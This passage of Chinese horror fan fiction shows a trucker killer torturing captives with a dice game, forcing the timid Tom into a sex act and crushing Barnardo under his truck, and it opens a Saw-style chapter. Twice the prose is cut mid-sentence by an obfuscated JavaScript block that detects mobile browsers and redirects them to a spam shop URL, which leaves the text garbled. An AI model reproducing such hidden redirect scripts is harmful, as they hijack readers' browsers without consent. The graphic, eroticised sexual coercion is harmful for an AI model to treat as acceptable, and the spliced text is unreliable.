“我先来?做,做什……”肩膀骤然加重的力道,巴纳多敏锐察觉到危险,忙不迭将疑问咽回肚子,匆匆伸出手笨拙地拿起骰子,胡乱一投。 “Five.”铁锈钉拿起一旁的长柄铁锤,划过写满墙壁的红颜料,停留在某处,“Kneecap.” 巴纳多这才发现这些看似鬼涂乱画的红字,其实是一个个数字和人体部位。 “对不起......对不起,汉斯。”在巴纳多一声声痛苦地呐呐声中,铁锈钉手拖着锤走进。 铁锤尖端在地面上刺耳地划过,然后,被举起,带着捅破空气的呼啸声—— 汉斯倒吸一口冷气,满头大汗。脸庞扭曲,五官怪模怪样扎堆挤在一起。他外表上似乎痛苦极了,两手禁不住疼痛而颤抖,实际上在悄悄使劲,将腕间的麻绳与桌面棱角摩擦。 “你想让我砸掉你的另一只腿吗?” 铁锈钉发现了什么吗? “轮到你了。” 巴纳多死命摇头,凄切地哀求:“汉斯,别,别投!” 汉斯低着头,余光瞟着一旁的铁锈钉。不知道铁锈钉到底有没有发现他的小动作。他心里想着法子,手上动作不停,不假思索掷出骰子。 骰子在桌面滚动出清脆的声音,最后“嘎达”一下停住,数字加在一起——七。 巴纳多眼睛立马在墙上乱晃。 七,七? 七在哪儿,怎么看不到。 他的心怦怦跳个不停,后背直冒冷汗,或多或少有些埋怨汉斯,却听—— “七,安全。”铁锈钉喜欢看这样的戏码。 巴纳多狠狠咽下口中因紧张而分泌的唾液,大松口气的同时,对汉斯的了解,让他立马想到——汉斯……是故意丢出的七吗? 汉斯是个非常聪明的人,学校内没人会不承认这点。不少聪明人都会有自负的毛病,常人单看汉斯彬彬有礼的模样,会觉得他是个例外。只有和汉斯待久了,才会发现他懒散散外表下,是对大多数人一视同仁的轻视与不屑。 巴纳多愧疚地不敢去看汉斯,他没办法控制骰子,也不敢不丢啊。 抱歉了,汉斯。巴纳多咬咬牙,丢出一个二。 巴纳多还在侧头去瞧红字,汉斯深吸一口气,他在看到整个墙面那一瞬,就记下了这些红字——二,是头。最不幸的猜测,便是这将会是个致命伤。汉斯沉重地想,他本以为还能有几轮的时间,哪像巴纳多手气这么好。 “看来有人要退出我们的游戏了。” 铁锈钉的话,证实了汉斯不妙的猜测。他抬头,惊恐得直瞪眼的巴纳多,像是见到什么恐怖至极的场景,一个劲往椅子靠背后缩。 ——铁锈钉拿着一根铁棍,又细又长,站在汉斯身后。 “Oh!No……”巴纳多既恐惧,又有点……如释重负。 8. 致命玩笑08 【汉斯和巴纳多被追车了,罪魁祸首正是铁锈钉的那辆大卡车。 “Fuck!见鬼了!”巴纳多脖子和脑袋都快扭成一条绳了,他一会提心吊胆看着后方两车的距离,一会对铁锈钉的残忍破口大骂。 “Hold on!”汉斯脸上的汗珠一滴滴直往下淌,但他还能保持镇定,眼睛紧盯住前方的路:“没事儿,我能够稳——等等!油不多了,巴纳多,你没加油吗?” 上一秒还在咒骂的巴纳多突然呆如化石,嘴唇哆嗦了下,神色是死一般的僵硬。这副滑稽的模样,汉斯哪儿还不明白? “Fuck!” 上帝没有眷顾狼狈逃窜的汉斯和巴纳多。 他们被撞个人仰车翻后,巴纳多仓皇地两手紧抓汉斯臂膊,不胜恐惧。两人从后视镜眼睁睁见着卡车加速,愈来愈进—— 在咯吱咯吱令人心悸的碾压声中,锈铁钉瞥了眼后视镜,喃喃道:“都结束了吧。” 卡车轰鸣着扬长而去。 良久,劈啪作响的火光也渐渐熄灭,只留下一堆残骸。 死一般的寂静重新笼罩公路。】 汤姆是个慢吞吞的温性子,向来习惯了逆来顺受。然而他虽然迟钝,但并不愚笨,不至于察觉不出铁锈钉对他超乎常人的耐心。 如果是汉斯他们中的任何人享有凶手的耐心,都会加以利用,找寻求生的方法。但换成汤姆,他只会满面惶恐,更是局促不安,生怕自己做错事,耗尽铁锈钉为数不多的耐心。 少说少做,像以前对汉斯他们那样,听话就好......汉斯他们其实也是群坏家伙,这是恶人自有恶人磨! 在铁锈钉捡起铁棍要砸断汉斯的膝盖骨时,汤姆是这么跟自己说的。可真的看到汉斯惨白扭曲的面容时,汤姆开始生气,憎恨自己的软弱无力。他羞愧难当地把头垂到胸前,全身弯曲着,直到—— “看来有人要退出我们的游戏了。” 汤姆霍地抬头,汗毛直立地看着铁锈钉钳着汉斯的脖子,一手对准头颅高举铁棍—— 他要冷眼望着汉斯在自己面前死去吗? 疑问才冒出头,汤姆就听到一声尖锐响亮的声音:“不!”见汉斯和铁锈钉纷纷向自己投来目光,沉闷的地下室里还残留回声,汤姆后知后觉这声音是自己发出的,随即惊得打了个激灵。 铁锈钉停了下来,眼珠直勾勾盯着汤姆,神情是那么捉摸不透。汤姆情不自禁地想退却,然而脚跟刚抬起,铁锈钉垂下了眼,手腕扭了扭,攥着铁棍的手继续举起。 汤姆呼吸一促,忙跌跌撞撞地向铁锈钉跑去,猛地往前一扑,抱住铁锈钉,颤声说:“不,铁锈钉,放了他吧。” 他又长又白的手臂像藤蔓一样,缠绕在铁锈钉双手和铁棍上,试图阻止凶案的发生。而心里的悸恐,让汤姆身体抖个不停。他害怕着铁锈钉的拒绝,这个壮汉稍一挥动胳臂,自己只怕也落不到好处。 这是羽毛般柔软的触感,带来的痒意在全身蔓延。铁锈钉扔开手中冰冷的铁棍,弯下腰,手指揩过汤姆脸上的泪珠,“小甜心,你就该这样。想做什么都对我说。” 汤姆的胆怯让铁锈钉本来强硬的态度软化了。他两手钳着汤姆的腰一把将人扛到肩膀,动作带着几分急切,不耐看向两个碍眼的家伙,粗声粗气地发出通牒:“看在小甜心的面上,我给你们最后一次机会——尽情去逃窜吧。” 巴纳多眼珠简直要蹦出眼眶,为两个男人的亲密姿势。他目瞪口呆,脑袋有什么想法转瞬即逝,他来不及去思考,铁锈钉用斧子割断他和汉斯套在身上的绳索。汉斯深深凝望了眼汤姆和铁锈钉,他在铁锈钉身上看到了熟悉的灼热,心里替汤姆松了口气,一瘸一拐和巴纳多彼此搀扶着离开。 “车!外面!没锁!!”汤姆身体垂成两截,脸蛋正好朝着地下室出口。他故意夸张做出嘴型,希望汉斯他们能看懂吧…… 没了外人后,铁锈钉将汤姆放到桌上,凑巧压着骰子,汤姆被硌得难受,本能挪了几下屁股。铁锈钉眼睛一下也不眨地注视着,这让汤姆心里惴惴不安:“……我是要付出什么代价吗?” “不,小甜心,这是你的权利。”铁锈钉两手撑桌身体前倾,将汤姆整个人都抱在怀里似的,“但是他们到底有多长的逃跑时间,就要看你能做什么了。” 汤姆怔怔地看着铁锈钉,他感到很困惑:“我?” 温软又无害的汤姆啊,铁锈钉好心地指明:“取悦我。”他有点怀疑,猎物过于天真,“你知道我什么意思吧?” “呃好,我知道的。” 不,你不知道。铁锈钉深吸一口气,汤姆嘴上说知道,可眼里明明装满了迷茫和不解。 “小骗子。”铁锈钉大掌倏地岔入汤姆发间,用力把汤姆一摁。汤姆吓得要失声尖叫,却被男人牢牢按着头捂住,所有的声音都被布料阻挡住,吐出的热气反而让男人舒服似的喘了口气。汤姆慌张地闭紧嘴巴。 在汤姆快窒息的时候,铁锈钉停住,拍了拍汤姆的脑袋,粗声问道:“懂了吗?” 汤姆抬起头,露出一张被欺负惨了的可怜样,面颊绯红,眼里噙着泪珠,抖着唇瓣说:“懂了!懂了!”他来不及感到恶心,铁锈钉又有所动作。而汤姆因为刚刚的惊吓,变得神经兮兮,见铁锈钉又有什么风吹草动,一边往后缩,一边胆战心惊地盯着。 铁锈钉闷笑,实际上他并不打算干什么,或者说,不是他主动。他手臂一伸握住木椅靠背,在尖利的摩擦声中拉到身后,两腿大张坐下。他神情惬意,赞许地说:“很好!小甜心,那开始吧。用哪儿你知道吧?”他暗示地揉弄了下汤姆的唇瓣,“当然,你要是不想,我也有别的事可以做。” 威胁立竿见影。汤姆溜下桌面,膝盖一弯跪在地上,两手不知是拖延时间还是怎么的,十指无助地流连着,举动笨拙极了! 铁锈钉面色越发阴沉。他捻起汤姆下巴,语气不善:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|11981990|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小甜心,你是故意的?” 小甜心讪讪一笑,辩解道:“没,没做过嘛……”他还以为能再拖延些时间呢。 这话听得铁锈钉受用,决定暂时放汤姆一马。 汤姆心虚,也不敢再搞小动作,但心里还是怕得慌,他咬着唇,用恐惧而乞求的目光看向铁锈钉。铁锈钉怜爱地想,真是个小可怜。拍拍汤姆的后脑勺,安抚中带了几分催促:“没事儿的,汤姆,你可以的。别怕,你们会好好相处的。好了,向它问个好吧,汤姆。” 汤姆只能顺着铁锈钉的话做,委屈中带了点,活像一朵微颤的被迫露出花蕊的红蔷薇。过了几分钟,他实在难受,怯生生地看了眼铁锈钉。 铁锈钉此前一直独来独往,如同死者幽灵一般驾驶着卡车在公路游荡,沉浸在杀戮的快感中,除此之外,他再也没有过其他形式的排遣。也是见到了汤姆,他才发现还有别的东西能够激起自己兴致。不过,男人们和他们的小兄弟是从小长到大、再亲密不过的好哥们,哪怕闹了几十年矛盾,只要有心了解,很容易就能勾肩搭背起来——然而就是配合地过于默契了。铁锈钉为小甜心的抬眼而心悸,小铁锈钉也随之一起昏了头脑高高兴兴地结束了。 啊?汤姆惊愕。铁锈钉本来满足的情绪,在汤姆好比一盆冷水的眼神下,骤然被浇灭个干干净净。他藏在黑胡子下的肌肉动了动,皮笑肉不笑地说:“很好,小甜心。汤姆先生,你成功在这最后的惹怒了我。” 他气冲冲起身,汤姆懊恼捶头,亦步亦趋跟着。他不也不是故意的啊,实在是有点惊讶。汤姆一边走,一边心虚地想。 看到铁锈钉拉开车门,纵身跨坐入驾驶舱。 汤姆安慰自己,我已经尽力了,不是吗? 汤姆,你该问心无愧了,你已经做到你能做的了。 在卡车将要启动的轰鸣声中,他幻视死掉的艾丽莎和库克,铁锈钉的话也在耳边回响。 ——“你本可以救下他们的。” 不,我没有那个能力。有能力的是铁锈钉。 ——“你可以的。” 我不行的,如果耗尽了铁锈钉的耐心,我也会死的…… ——“这是你的权利。” 汤姆突然想起,自己以前一直隐忍,听从汉斯他们的话,可最后还不是被汉斯他们抛弃了? 汤姆,你已经懦弱那么久了,还要继续下去吗? ——大不了就去死吧。 反正顺从与忤逆,接受与反抗,最后都逃不了死亡,那为什么还要勉强自己一味忍耐?或许,你真的可以再自私些,汤姆!  e om,只有傻瓜才会奢求刽子手的仁慈! 这个结论像一道强有力的电流贯穿汤姆全身,他突然发现接下来他要做的事其实很简单—— “等等!铁锈钉。” 见卡车停下,汤姆连滚带爬推开门,朝着铁锈钉跑去,嘴里喊道:“带上我!我也,一起去!” 9. 致命玩笑(完) 卡车在深夜里行进,月亮如影随形,浅浅的银光洒在高速公路和两旁枯草上,凛冽的夜风穿梭其间,呼呼作响。 车里的空气凝固了似的,两人沉默不语。 汤姆上车后,就退缩了。逼仄的空间内,铁锈钉的存在感居高不下,冷肃的气息把本就狭小的驾驶舱挤得满满当当,让人喘不过气来,汤姆察觉到铁锈钉眼角余光时不时朝自己投来,像是自己一丝/不挂似的,那种游刃有余又有点玩味的目光搅得人心神不宁。 有什么好看的!汤姆又怕又恼,脊背紧挨皮质座椅连带着整个身体都陷了进去,一动不动。 无疑,铁锈钉从容得让人忐忑。怎么,这也在他的意料之中吗?他很自负,觉得自己一定能够抓到汉斯他们吗?汤姆不安地想,拍了拍胸脯,安抚那如果, 放松,汤姆,不要自己吓自己。按理来说十多分钟过去了,汉斯他们应该走远了。 然而,所有的猜测在现实中、在月光下尘埃落定了。 汤姆所有的思忖在看到看到熟悉的汽车那一刻,化作脑子里嗡的一声响。他歪头捂住脑袋,仿佛要倒出在耳蜗内作怪的嗡鸣声。 不,不,怎么可能?应该是我头昏眼花了。汤姆揉揉眼睛,凝目再看,忍不住想骂人—— “What’s the fuck!” 巴纳多破口大骂,崩溃地看着幽灵般神出鬼没的卡车,大喊起来:“汉斯,他怎么追上来了?” 汉斯棱角分明的面庞,湿漉漉的,冒着一层汗珠。他紧咬牙关:“原来你之前在加油站磨蹭,不是为了等他啊?” 巴纳多脸涨红了,却无可辩驳,因为确实是他手忙脚乱下误加柴油,才导致他们浪费不少时间。巴纳多用拳头捶打脑袋,放下时,抓着几根头发,自责地说:“是我的错,汉斯......咱们是不是要死在这儿了?” “不会的。” 巴纳多升起希望,眼巴巴地盯着汉斯,却见汉斯冷笑:“我们大概会死在前方几英里的地方。” ——汉斯,你的聪明大可不必在这种时候体现。 当车子果真在几英里后被撞翻时,巴纳多陷入昏厥前迁怒地想到。 在短暂的眩晕后汉斯率先清醒过来,他感到头晕恶心,鼻尖满是热烘烘的血腥气。他调整了一下呼吸,用掌骨干净的皮肤抹掉快流入眼睛的血,觑着眼在四周打量一圈,后视镜内卡车缓缓后退,车门破破烂烂挂着,随着风吹动和公路旁东倒西伏的草丛一起淅淅响个不停。 汉斯心下有了主意,言简意赅地说:“巴纳多,看到路旁草丛了吗?咱们等他快开过来时跳进去......巴纳多?” “汉斯你走吧,别管我。”巴纳多仅剩的一只眼窝里咕噜咕噜冒出热泪,他脸色煞白,绝望地垂下眼睑,汉斯顺着他的视线瞧去,陷入了哑然—— 巴纳多的腿被卡住,钢铁嵌入腿骨肌肉中,血沫子和微白的骨屑从开裂的伤口中噗噗涌出。 巴纳多两片发白的嘴唇哆哆嗦嗦:“我,我走不了了......汉斯,你别管我了。”说着,他抬起眼皮看向后视镜。 后视镜折射出一双蓄满求生欲的眼睛,而巴纳多只注意到了结束倒车的重卡开始重新发动。夜晚的寒风逼上身来,带着薄薄的湿意浸入伤口,鸡皮疙瘩唰的一下全冒出来,巴纳多牙齿嘚嘚发颤,不由自主地揪住汉斯手臂,没有一丝血色的面容,因为恐惧而肌肉扭曲—— “不!” “我不想死,汉斯,我还年轻......”他泪流满面:“汉斯,我不想一个人......你也陪我一起好不好?” “我们一起,我们一起去见库克和艾丽莎。” 汉斯没有说话,也没有甩开。他的心里是愧疚和后悔的。落到如今这个境地,他负有重大责任,或许就在这里结束,也是好的。 至于汤姆......他回忆起铁锈钉看汤姆的眼神,同为男人,他再清楚不过那是多么的欲/望勃勃。哪怕铁锈钉是个冰冷肃杀的刽子手、杀人犯,当他看向汤姆时,眼里泛起的温度不比正常人低多少。汤姆本人,温顺又听话,有着小动物般敏感而机灵的智慧,只不过一副好心肠可能会让他饱受愧疚折磨,但......总比被杀死好吧? 至少现在比起他和巴纳多,汤姆再安全不过了。 而他所预想的温驯的汤姆,此刻正在卡车内和铁锈钉对峙。 “铁锈钉!”汤姆屁股离开座椅,半截身体倾斜到驾驶座,双臂拽住铁锈钉胳膊,含着泪上气不接下气地说:“你不是说过我有权利吗?” 铁锈钉一面退车,一面徐徐又坚决地摇头,“小甜心,我们说好了游戏规则的。这是底线。” 见卡车倒退,汤姆有一瞬间天真地以为铁锈钉准备停下,然而铁锈钉那双兴致勃勃的闪着凶悍光芒的眼睛使汤姆清醒过来——不可能的,铁锈钉不可能放过汉斯他们的。他现在只是在享受操弄他人情绪的快感,不只是汉斯他们的,还有汤姆他自己的。 铁锈钉两条根根分明的眉毛生得乌黑粗犷,此刻眉梢微微提起,挂上几分兴致勃勃。汤姆的苦苦哀求,他垂目听着,却也只是听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|11981991|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。见车距合适后,低哑粗犷的声音从唇缝里慢吞吞吐出:“坐好,小甜心,我要加速了。” “不行!不!”汤姆无可奈何,一咬牙扑向方向盘,撑开肘弯就要抢夺方向盘。铁锈钉心头的惊讶一闪而过,旋即单手箍住汤姆脖子高高拎起。大脑的窒息感让汤姆的手指被迫一寸寸从方向盘剥离,因为过于充血,青青紫紫从脖子根爬到额头,嘴唇徒劳地张张合合,似乎是要说什么。 铁锈钉好奇地卸了点力,得到喘息空隙的汤姆奋力从咽喉里竭力吼出:“No!”四肢猛地扑腾,踢到汽车方向盘左侧的拨杆,霎时,卡车近光灯明晃晃亮起来。两束夺目而锃亮的光线,不仅照得汉斯他们的车油光水滑,也让驾驶舱内的冲突清晰可见。 一直眼珠子不错地盯着后视镜的巴纳多,在泪眼模糊中看到这一幕,像是被针扎了似的,他浑身一颤,皮肉蹦得紧紧的,被忽略的情感从心里泵出:“不!汉斯,你走。” 汉斯望向后视镜,这会汤姆已经被铁锈钉撒手丢在副驾驶上。而巴纳多重新迸发了 “汤姆,汤姆还在他手上......我,我对不起汤姆。” “你出去后,要救出汤姆。” 巴纳多面容焕发出光彩,回光返照般,手甚至有几分余力推搡催促汉斯。 在车轮轧碾而来之前,汉斯找准机会跳出,砸进草丛里,发出轻微的索索声,掩盖在卡车碾压的嘎吱的巨响下。 而巴纳多,则是恍恍惚惚想到和汤姆的初见,第一次来到异国他乡的汤姆害羞极了,见到人,只知道一个劲儿腼腆地笑,漂亮的面孔,坦诚的性情,让人......心动。是的,不是烦躁是心动。 他哭得不能自已,碾碎的皮肉从骨骼中散架,噗咕噗咕渗出殷殷的血,剧痛只是顷刻间,却足以让他的灵魂都为之痛苦不堪发出哀鸣—— “啊。” 汤姆遏制不住的尖叫随着卡车底部的咯吱声一同作响。他蜷着身体靠在副驾驶门上,五指抓破车皮,留下显目抓痕。驾驶舱底座黑得快浸血,汤姆一顿一顿卡着点将视线往上移,车外一闪而逝蹿入草丛中的黑影忽地抓住他的心神。 是,是错觉吗? 或是车的什么碎片? 还是......他心里藏着隐隐约约的希冀,这点希冀好比吊起来的钩子,又鼓舞了他。 从后视镜内瞄见破损不堪、闪着火光的残骸,铁锈钉放了心,捞起汤姆,一边抚慰地捏了捏汤姆略微肿胀的青紫脖颈,一手搓/揉汤姆的腰肢,扣住汤姆下巴,在苍白的唇瓣上印下一个吻。 10. 电锯惊魂(暂坑) 【原剧情:死寂封闭的房间里,一台电视机,一把座椅,一个活人。 而随着唯一的人醒来,房间像是活了过来—— “嘀嗒。” 倒计时的声音突兀响起。 男人惊愕得完全顾不上观察,两手抓住撕裂器边缘,使劲掰开,装置仍纹丝不动。 蓦地—— “Hello,Leighton .” “I want to play a game.” 老旧的白点闪烁的电视机,带着丑陋面具的神秘人操着一口机械合成的腔调,状似彬彬有礼地将男人被绑架的缘由娓娓道来。 “Oh,fuck!” 男人舌头一动,嘴里的铁片传来让人作呕的铁锈味,刺激得人呼吸骤乱。他脸色苍白而乖戾,浑身发僵,眼珠在发红的眼白里死死瞪着小丑。那张小丑面具仿佛布满肌肉般,夸张地凸起,说话时,两侧颧骨螺旋形的红线僵直得一动不动,从下嘴唇开裂到下巴的部分机械地上下开合: “Live or death.” “Make your choice.”】 这是一间密不透风的密室。 高处几盏昏黄的灯光,四零八落地照亮着密室。污渍灰尘遍地,陈旧褪色的储物柜,铁质的大门紧紧闭合,一人高的地方挖了空洞,往下两三英尺的地方嵌着门把手。屋子里最左上角架着摄像头,偶尔闪烁红光,窥视着乌泱泱的人群。 “该死!” “这个破地方是哪儿!?” “拜托了!救命啊。” 有人焦躁不安地踱步,有人崩溃地蜷缩在角落抽泣,还有人还不知所觉地躺在地上......这些场景都一一映入汤姆视线,一股风雨欲来的气息在鼻尖飘荡,那些或紧张或镇静的人群无疑也是这么认为,一个个如临大敌,相识的人彼此紧紧拥抱,仿佛这样就能汲取些镇定与力量。 汤姆黑眼珠眨了眨,平平静静得好比一潭死水。他总是这副提不劲儿的模样,仿佛在上辈子耗尽了所有的力气,以至于现在哪怕面对险境,整个人的灵魂仍然犹如脱壳般游离在外,置身事外地看着这场正在上演的无声滑稽戏。 众人对死亡惊惧的模样落在汤姆眼里,总觉得似曾相识,似乎很久很久以前,他曾看见,并且再熟悉不过。然而实际上汤姆从出生以来就享受着父母兄妹全心全意的爱,他就像个扭曲畸形的菟丝子,若不是寄生于格林一家的爱意,恐怕会早早枯萎在哪个清晨。 时间流逝,所有人都醒来,这摸不着头脑的绑架让大多数人六神无主,哭泣声与咒骂声此起彼伏,像是伐林区混乱不堪的锯木声,愤慨和怒吼愈发尖厉,搅得人心烦意燥。 一个腰背厚实的汉子被激怒了。他蓄势待发般伸展两臂,衣服下的肌肉紧绷得要撑破衣服似的,随后,猛地攥紧五指,击打储物柜,在一声“嘭”响后,杂音消弭,衬得物品掉落的咔吧声清晰可闻。 一旁褐发女人闻声弯下腰,捡起脚边的录音带,按下播放键—— “Greetings and wee.” “I want to play a game.” 众人面面厮觑,瞧见彼此难看的脸色。他们压低了嗓音交谈: “这该不会是最近新闻报道.......” “那个变态杀人狂——” ——竖锯。他经由电脑合成的声音,仍一丝不苟在录音机里发出声音。 “不幸的是,你们将在两个小时后死亡。” “Fuck!” 汉子的怒骂,像是往涟漪阵阵的水面霍地丢入巨石,众人窸窸窣窣又想叫喊。 “闭嘴!” 一名面目黝黑、脸庞线条刚硬的白人男叱喝,他和汉子两人视线一错而过,录音带的声音继续: “现在,你们正在呼吸着致命的毒气。如果你们有人听说过东京地铁事件,想必就会了解它的厉害。” 穿着白大褂的女人神情惶然,脑袋后仰,眼看就要一头栽倒在地时,一个金发男人敏锐察觉,忙伸出手臂搀扶住,压低声:“露西,没事儿吧?” “我没事儿,谢谢你,艾登。”女人揉了揉头,心虚地看了眼丈夫阿克曼,一名身着正装、身体略微发胖的男子。见阿克曼完全没注意到这边,她心里松了口气。 “你们抵抗的唯一方法就是找到藏在这座房子里的十支解毒剂。” “它们分处于不同的专门为了你们每个人设计出的房间里。唯有响应的那个人通过考验,才能拿到解毒剂。” “你们需要做出抉择,没有人可以逃避。” “现在,给你们一句劝告—— 不要妄动门把手。” “Let the game begin.” 话音刚落,褐发女人突兀出声:“你做什么?” “你们信那狗屁录音带的话吗?”汉子顿住身体,喉咙里发出一声轻蔑的冷笑:“鬼鬼祟祟的,我莱顿才不上当!看看角落的摄像头,那鼹鼠一样的家伙肯定躲在后面偷看呢!” “哈!?他以为他是谁?上帝吗?扯淡!” “那个肮脏的疲惫不堪的癞皮狗!阴暗得只知道躲在角落里偷窥!我为什么要听他的话?” 他慷慨激昂地痛骂很快收获了支持者。 “是的,没错!”阿克曼再赞同不过,气愤愤地说:“这就是个闹剧!什么竖锯?我才不信!”他亦步亦趋跟上莱顿。 “阿克曼......”露西担忧地出声劝阻。 “啪”,她挽留的手被丈夫毫不留情打落,阿克曼骂骂咧咧:“女人就是胆小,一点小事儿就让你吓破了胆。” 露西眼眶唰得红了,她两手合十掩面,即为丈夫的锥心话,也为大庭广众下被下面子而羞愤。她身后的年轻男孩艾登,不知所措挠头,纠结中一下没一下瞅着露西。 这会阿克曼注意到他们的互动了,黑着脸几个跨步越过莱顿,怀揣着满腹怒火,放在门把手上的手掌开始施力,“咔哒”,伴随门锁扭开声一起响起的是—— “嘭。” 枪声过后,阿克曼应声倒地。 “哦!不!”露西颤抖双手捂住嘴,她顾不得擦干胸口被泼溅的血液,踉踉跄跄来到丈夫身边,失声哭泣。艾登跟着蹲下/身,揽住露西的肩膀安慰着。 这一出后,再没有人敢忽视竖锯的警告。莱顿憎恨而又无可奈何地生着闷气。 那位最开始训斥过所有人保持安静的男人站了出来,“大家,在等待期间,或许我们需要先简单认识一下。我是切斯特顿,一名警察。” 切斯特顿警察的身份无疑让众人不由服从他的话语,跟着一一自我介绍起来。 麦克,一名沉默寡言的黑人男性,大背头,梳着脏辫。 露西外表温柔和气的女人,之前死去的阿克曼和她是夫妻,艾登则是露西任职高校的一名学生。 褐发女人贝拉米,身形瘦削,唇瓣开合露出略带酸蚀痕迹的牙齿;她的丈夫,鲍勃,一副老实人模样。 众人的视线落到莱顿身上,莱顿鄙夷不屑地说:“哈?凭什么?指不定你们谁能活下去呢!记一个死人名字,没必要!” 这尖酸刻薄的话,叫不少人敢怒不敢言,毕竟莱顿的块头可不小! 切斯特顿皱起眉,说:“说话客气点吧,莱顿。” 莱顿砰的一声踢到橱柜上,瞪了切斯特顿一眼,没再反驳。 这场闹剧看得人昏昏欲睡。 汤姆的存在感太低了,默默无声的模样,叫众人在讨论时,居然不约而同地忽略掉他。偶尔一瞥过来,昏沉的灯光下看不清面孔,只能瞟到白得渗人的肌肤。 这样也好。不要关注他,别试图再帮助他……汤姆心想了几句话,就提不起劲,放空了大脑,在一团团杂乱的思绪里沉沉浮浮,耳边嗡嗡作响。 等等……他忽然意识到,那不是嗡鸣声,而是—— “嘿?” “你还好吗?”切斯特顿语气关切,一脸正气,眼神和善清朗,柔和了眼角处划痕的凶煞:“我看你一直缩在角落,是有什么不舒服吗?”他伸手的虎口处布满老茧,径直递到汤姆面前。 汤姆这才抬头,将所剩无几注意力分给这个人。 他卷曲的黑发耷拉在额间,像他整个人一样是软塌塌得没有筋骨似的,当然,这里指的并不是他的外表,而是他扎根皮肉是皮肤里的气质。那种仿佛你对他做什么,他都会听之任之的随意感,从那双乌黑的眼珠里可以窥探一二。 他的皮肤是久不见天日的苍白,太阳穴下蓝色的血管若隐若现,衬得两瓣嘴唇绯红。东方柔和的脸部轮廓与精心雕琢的五官线条,搭配面部黑与白的色彩,透着水墨般和谐韵味。 真美啊!切斯特顿暗眼里划过亮光,视线一瞬间晦涩不堪。他本来只是来角落看看这个落魄的似乎吓得魂飞魄散的倒霉蛋,没想到还有这么个意外之喜。 汤姆耷拉一条腿坐在角落,他的不理睬并没有浇灭切斯特顿的兴致。切斯特顿从容收回手,宽厚一笑。这家伙长了张刚硬深邃的宽脸,面庞稍挂上点和善,正气凛然的气息自然从皮肉迸出。他表现得耐心十足,用低沉的声音问长问短。 汤姆先是无动于衷地看着,很快垂下头,阴影在他的脸上慢慢弥散开,遮盖住那双黑玛瑙似的亮闪闪的眸子。 切斯特顿的兴致突然差了下去。他感到乏味,直起身,居高临下瞥了眼汤姆,暗嗤自己真是晕了头,都这种情况了还想些有的没的。 这时—— “咔哒。” “Oh!门开了!”男声女声混杂在一起的惊呼。 切斯特顿掉转身体,步履如风,大步走向大门,“大家,”他斩钉截铁地对踌躇的人群说,“按照竖锯的说法,接下来还有几间屋子等着我们。走吧,没时间浪费了。” 等切斯特顿平安地打开门,艾登他们才安心,抬脚跟上去。 脚步声渐行渐远,汤姆额头搁在膝盖上,空寂下来的房间让他觉得熟悉与安心。 突然—— 汤姆肩膀传来一股令人吃痛的抓力,“Fuck!”罪魁祸首骂道:“嗑药了吗?蠢货?!还要老子来扶你?” 他搭在汤姆肩膀上的手施力,一把将人拎起。仓猝起身的汤姆,在莱顿不知轻重的举动下,差点打了个踉跄,脚尖几近垫起。跨过铁门时,汤姆余光扫到了安置在门背后的枪,枪口与洞口紧贴。 “怎么?”莱顿停下来,夹紧手肘,唤起怀里人的注意力后发问道:“你对这机关有什么看法?”尾音上扬,像是漫不经心。 他环在汤姆肩膀上的手臂本就粗硬得像块木头,再一用力,更是硌人得紧。肩膀和手臂被勒得难受,汤姆皱皱眉,愈发没心思没搭理莱顿。 莱顿啧了一声,胡乱咒骂了几句,粗鲁地拖拽着汤姆前行。 走廊两侧的画框锈迹斑斑,腐霉的气息紧附其间。陈旧的木板,一踩上就嘎吱作响。房间内的众人听到脚步与木板声,不约而同看向门口,目光齐刷刷打向莱顿和汤姆,默契极了,带着几分破不可耐。 莱顿大为不满,“你他妈那是什么眼神?想死吗?”他松开汤姆,撸动衣袖露出深褐色的胳膊肘,正要朝离自己最近的露西动手时,切斯特顿按下录音机播放键: “莱顿,这间房与你相关。” “我唯一能给你们的提示——大海捞针。” 听到和自己有关,莱顿神色凝重,这才打量起房间。斜上角是摄像头,正对面摆放着保险箱和电视,脏兮兮的破布覆盖在地板正中央,呈现出似山峦般上上下下的起伏。 莱顿扯下破布,露出下方密布着粗长倒刺的铁栅栏,裂隙中透出反光。他抓着铁栅栏平滑的边缘,试探性一提,百来磅重的栅栏纹丝不动。莱顿不再留余力,胳膊上抬,脖子上青筋暴突,猛地掀开铁栅栏。 鲍勃夫妇瞳孔睁大,匆忙你拉我拽地后退,堪堪躲过砸在脚边的栅栏。 差一点就被刺穿了,他们心有余悸地想,暗暗埋怨这一点也不顾及他人生死的蠢货。鲍勃夫妇的敢怒不敢言,在看到铁栅栏下的东西时,化作冷汗从毛孔里争先恐后地冒出。 正中央的破布和铁栅栏一并掀开后,露出地板下的坑洞。直径约六七英尺的洞口里装满了注射剂,数不尽数的针头在灯光下银光烁烁。与此同时,锁匙上方腾地亮出猩红的数字——是六十秒倒计时,它在不断闪烁,数字越来越小。 莱顿似是焦躁地在坑前踱步,众人阴沉沉不吭声,心里却多少有些大快人心。莱顿太嚣张了,活该受点教训! 忽地,莱顿停住脚步,眯起眼睛从人群中一一扫过。 鲍勃与贝拉米夫妇,身强体壮的麦克和切斯特顿,身形瘦削的露西和艾登......他的视线停留在露西身上,露西脑筋还未转过来,身体已经警觉地颤颤巍巍后退。 